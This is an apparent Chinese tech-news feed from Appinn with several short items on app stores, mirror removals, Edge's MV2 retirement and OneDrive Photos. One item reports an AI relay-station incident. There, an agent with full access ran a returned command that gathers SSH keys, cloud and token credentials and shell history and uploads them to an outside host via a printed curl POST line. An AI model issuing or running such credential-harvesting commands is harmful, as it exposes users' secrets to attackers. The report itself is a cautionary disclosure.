APPINN | 小众软件修改

2026-08-12 14:47:20

因 Google 与 Epic Games 诉讼案的法院裁决，Google 正式在官方应用商店 Google Play 中，上架了第一款第三方应用商店：Aptoide Games

目前 Aptoide Games 仅在美区上架。

为此 Google 还专门上线了一个专门的网页，就叫做第三方应用商店。

不过这个页面与其它 Play 页面不同，里面的 Aptoide Games 并不能点击 。

相信不久之后，Epic Games Store、亚马逊 Appstore、三星 Galaxy Store 等第三方应用商店都会加入。

有趣的是，Google 正在同时推进两个方向：

1. 因为 Epic 诉讼案，Google 开始允许第三方应用商店进入 Play Store，让 Android 应用分发更加开放；
2. Google 又计划要求 Android 应用开发者完成身份认证，即使应用通过第三方商店分发，也需要关联到经过验证的开发者。

此前青小蛙还专门研究了这项规则：《Google 新规：安装陌生 APK，可能要等 24 小时》。

这项规则要求在安装安卓应用时，需要验证开发者身份，如果是未经验证的开发者，用户需要额外的步骤才能安装。

这意味着，未来 Android 可能会出现一种新的模式：用户可以在手机上的多个应用商店安装应用、游戏，但开发者身份仍由 Google 体系管理。

原文：https://www.appinn.com/google-play-aptoide-games-third-party-app-store/

期待着在 Play 上看到小米商店、OPPO 商店的那一天。

2026-08-11 22:41:13

清华大学开源软件镜像站发布通知，由于存储资源严重受限，为保证服务正常运行，TUNA 镜像站已经移除了如下镜像：Anaconda、OpenWrt、GitLab EE、Flutter（flutter-sdk.git 依旧保留）。@Appinn

这些镜像的 rsync 服务已经停止提供。为避免影响用户，对 HTTP(S) 路径的访问将被跳转至 教育网联合镜像站 或各软件对应的上游。我们推荐下游用户及时切换镜像站，以免给您的使用带来不便。

TUNA 镜像站将不定期检视空间利用情况，并可能在未来继续不加通知地移除任何内容。

这次下架的四款开源项目分别是：

Anaconda

一个流行的 Python 数据科学和机器学习 平台，提供包管理、环境管理和大量 科学计算库。

OpenWrt

一个开源的嵌入式 Linux发行版，主要 用于路由器和嵌入式设备，提供灵活的 网络功能和扩展性。

Fluter

Google 推出的开源 UI 工具包，用于 构建跨平台应用（iOS、Android、Web 和桌面）。 * flutter-sdk.git 依旧保留

GitLab EE

GitLab 企业版，提供包括高级安全、 合规、规划等在内的完整 DevOps 平台 解决方案。

原文：https://www.appinn.com/thu-tuna-removed-openwrt-flutter-anaconda-gitlab-ee/

热评：清华大学开源镜像站也买不起硬盘了

替代镜像站

馆长解释说可能不止硬盘，也可能是由于负载过高导致：

推荐各位专为使用校园联合镜像站：https://mirrors.cernet.edu.cn/

为清华降低点服务器压力。

2026-08-11 16:05:52

V 站的用户昨日发帖称：某 AI 公益站点在开启 Full Access 权限后，AI Agent 生成的一段命令疑似包含环境信息收集与凭据读取行为。包括读取 SSH 私钥、aws 环境变量、API Key、GitHub Token、管理密码、环境变量、终端历史命令等内容，并向外传输。@Appinn

发生了什么？

命令解读

用户在使用中转站时，收到了以上的命令（AI 返回内容），并在拥有完整权限的 Codex 上执行了。

这段命令主要做了三件事：收集运行环境信息、扫描敏感配置文件、将结果发送到远程地址。

具体为：

1. 收集系统信息

读取：

• Node / npm 版本
• 主机名
• 当前用户与权限
• 当前目录
• Linux 内核信息
• 环境变量

用于获取当前运行环境的基本信息。

2. 搜索配置与认证信息

尝试读取：

• cli-proxy-api 配置文件
• config.yaml
• auth-dir 认证目录

同时扫描：

• ~/.ssh/：SSH 密钥与配置
• ~/.aws/：AWS 凭据
• ~/.kube/：Kubernetes 配置
• ~/.docker/：Docker 登录信息
• GitHub CLI 配置
• npm、pip、Cloudflare 等工具配置

这些文件可能包含 API Key、Token、登录凭据等敏感信息。

3. 获取系统运行状态

收集：

• Docker 容器信息
• 当前运行进程
• 网络端口
• systemd 服务
• Shell 历史记录

用于了解当前机器运行了哪些服务。

4. 上传收集结果

命令最后通过：

curl -s -X POST --data-binary @- https://proxy[.]jxtech.store/canary

是否可以确认是“投毒”？

虽然，以上命令有明显的投毒行为，但还有几个问题：

1. 无法确认命令来源

• AI 模型生成；
• 用户编写的提示词诱导 AI 生成；
• 某个插件或自定义模块中的脚本；
• 其他上下文内容触发。

仅凭最终出现的命令，无法证明它一定来自站点后台或服务方。

2. 无法确认执行链路

目前只能看到用户展示的命令内容，无法确认：

• 命令是否真的执行；
• 执行环境是什么；
• 是否完整运行；
• 上传请求是否成功。

所以，留下一个问题：有没有其他用户提供更完整的使用过程，系统提示词、用户指令等内容。

最后，中转站，尤其廉价中转站，请不要对其抱有幻想，默认泄漏 😭

原文：https://www.appinn.com/ai-agent-full-access-security-risk/

2026-08-11 15:23:39

微软发布博客称，从 2026 年 8 月起，部分安装了 MV2 扩展的用户，将在“管理扩展”页面收到相关通知，从 Manifest Version 2 (MV2) 扩展程序过渡到 MV3。Edge 插件商店中只有 58 个基于 MV2 的扩展程序有实际用户使用，其中只有三个扩展程序尚未推出公开的 MV3 版本（uBlock Origin 就是其一）。@Appinn

2026年6月份，Chrome 151 就彻底终结旧版扩展，现如今 Edge 也开始跟上，也就意味着，uBlock Origin 时代的彻底落幕。

有一说一，当前阶段的 uBlock Origin Lite 扩展，也够用了（青小蛙表示够了，毕竟现在都不用电脑上网了）。只是高级用户依赖的动态规则、自定义过滤能力会有所下降。

接下来会发生什么？

微软说，除了向普通用户及企业用户发送通知之外，在接下来的几个月里，MV2 扩展程序将逐步默认关闭。并会在有可用版本时推荐用户使用 MV3 版本。

这些变更将首先在 Canary、Dev 和 Beta 渠道中推出，并在接下来的几个月内逐步扩展到 Stable 渠道，目标是在 2026 年底前完成面向消费者的过渡。企业版的弃用将于 2027 年初进行。

我们将定期向社区通报推广进展情况。

开发者现在应该做什么

对于仍在维护 MV2 扩展的开发者来说，现在是时候完成向 MV3 的迁移了。

迁移到清单 V3 的概述和时间线

不过微软目前仍未公布 Stable 渠道具体关闭日期，官方时间线依旧标注为“待定”，和两个月前相比，没有发生变化。

但毫无疑问，Manifest Version 2 可以说再见了。

原文：https://www.appinn.com/edge-block-mv3-ublock-origin/

2026-08-10 09:00:34

最近10日，来自小众软件论坛的发现频道的热门排行榜，由系统自动生成，直接列出来：

序号	主题
1⃣	Linux Basics for Hackers —— 面向黑客的 Linux 基础课程：中文译本
2⃣	Tessoa – Rust 写的跨平台文件管理器，任意分屏布局，单文件免安装
3⃣	〖开源自荐〗MangoDisk：免费开源的 深度磁盘清理工具，轻量高颜值，支持 macOS 和 Windows
4⃣	声物记–开源、纯本地的语音物品管理+闪念胶囊App[安卓]
5⃣	【开发者自荐】墨方 MoFang，一个单HTML文件的 Markdown 编辑器
6⃣	【开发者自荐】反应速度、记忆力和专注力测试
7⃣	【开发者自荐】一款本地优先、支持源码与可视化双向编辑的开源Markdown 桌面编辑器。
8⃣	【开源自荐】BitFun：桌面端 AI Agent，能在真实代码仓库干活，也能操作浏览器和桌面软件
9⃣	【自荐】SnapFind – 本地离线截图 OCR 文字提取与极速查询工具
	MyAgents 开源本地 Agent – 完全归属你的 Codex/workbuddy 超高完成度 支持多模型多订阅切换

上期回顾

• 发现频道近10日热门排行榜[2026年第31期]

2026-08-09 16:58:29

青小蛙的 Windows 11 中，最近被悄悄安装了一个名叫 OneDrive 照片 的应用：

就在老照片应用还在固定位置的同时，与之对应的，还有永远不知道该用哪个版本的 Outlook(new)（你注意到没？你的 Windows 居然装了 3 个 Outlook）。

注意：目前除非完全删除 OneDrive，否则无法从电脑中删除 OneDrive 照片。

OneDrive 照片 / OneDrive Photos 是什么？

青小蛙从 windowslatest 看到说：微软说他们不小心在 Windows 11 中更广泛地发布了由人工智能驱动的 OneDrive 照片应用，这解释了为什么企业 PC（该应用甚至无法运行）现在不得不面对这个问题。

大概从这个月初开始，OneDrive 照片 就开始悄悄出现在大家的 Windows 11 中了，推广到了「几乎所有安装 OneDrive 同步客户端的用户」，如果你也在使用 OneDrive，快看看电脑里有没有

OneDrive 照片会同时显示本地图片与云端图片，比如上图，就是QQ安装文件夹中的表情，也被显示了出来。

这是一个 WebView2 应用，在离线状态下（已登录）占用了 138MB 内存：

设计还算不错，与其他 Windows 11 应用那种用起来卡卡的感觉不太一样，青小蛙觉得，还真不错。

尤其是从不同文件夹进入后显示图片的速度。

目前并不清楚青小蛙这个离线是什么情况，因为左下角是可以看到登录成功的，点击后也能显示账号名称，但就是提示离线。

并且精彩瞬间、人物、相册都不可用。

但是我又在搜索中，搜出了 OneDrive 中的文件

最后，别忘记这货不能单独卸载，现阶段如果你还要使用 OneDrive，就先这样吧，等未来能单独卸载了再说。

原文：https://www.appinn.com/windows-11-onedrive-photos-cannot-uninstall/